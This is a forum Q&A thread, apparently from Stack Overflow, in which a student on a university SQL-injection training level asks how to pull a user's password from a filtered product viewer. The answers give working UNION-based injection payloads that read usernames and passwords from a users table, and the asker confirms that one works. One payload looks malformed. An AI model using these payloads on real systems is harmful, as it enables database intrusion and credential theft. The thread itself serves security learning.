1

I'm training my SQLInjection knowledge on a training tool made by my university. In a certain lvl there is this simple product viewer which gets a row based on a id. So the query should me something like SELECT * FROM products WHERE id = ? There is a simple security layer which filters some chars (and char combinations) like OR and such.

The following input gets me four results instead of one: 1 | 1 is not null

GOAL: get the users pass

Additional info: There is a user table with a password column. The wanted user has the 'name' 'Piet'

How could I get my injection to work such that it will return the password somewhere?

2

Perhaps inject a union? You will need to know what columns are returned by the base query. Say you determine that the original query is essentially returning:

SELECT id, productName, productDescription, createdDate FROM Products where ID = 1

You can craft a UNION query that matches the same column structure but queries another table. Then if you pass in the following instead of 1: 1 UNION SELECT null, userName, userPassword, null FROM users

It will create the following query:

SELECT id, productName, productDescription, createdDate 
FROM Products 
where ID = 1 
UNION 
SELECT null, userName, userPassword, null 
FROM users

Which basically appends another query that hits the user table and returns username/password.

Ideally this would give you the password because the password would be salted/hashed, but if the exercise is asking you to get the password it probably isn't. Just keep in mind that in a real world scenario you would salt/hash your passwords to protect against your database being compromised.

  • THNKS!, worked, the following query got me the answer: 1 UNION SELECT null, name, password, null FROM users – Chiel Bos Jun 2 '16 at 14:47
0

It completely depends on what characters are actually filtered.

My first try would be an injection using:

UNION SELECT

You can test it quickly with: id=1 UNION ALL SELECT * FROM products.

If It gets you all the products instead of only one, it works. You then have to guess the number of columns for products and their type (there are a lot of ways for that, google's your friend).

If products is a 4-column table with data types (varchar, varchar, int, int):

id=1 UNION ALL SELECT (name,password,0,0) FROM products

Will get you the name:password combination.

There might be a lot of other ways to get what you want, https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ might help you.

  • Hi MadWard, Thnx for the fast response. All chars are indeed allows. I only get the following response: Fatal error: Call to a member function execute() on a non-object in /opt/lampp/htdocs/lvl1.php on line 38 – Chiel Bos Jun 2 '16 at 14:43
  • What can you write, and what can you not ? Does the first test query I wrote get through ? – MadWard Jun 2 '16 at 14:44
  • See response on Abe ;) Thnks for helping out! – Chiel Bos Jun 2 '16 at 14:49

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.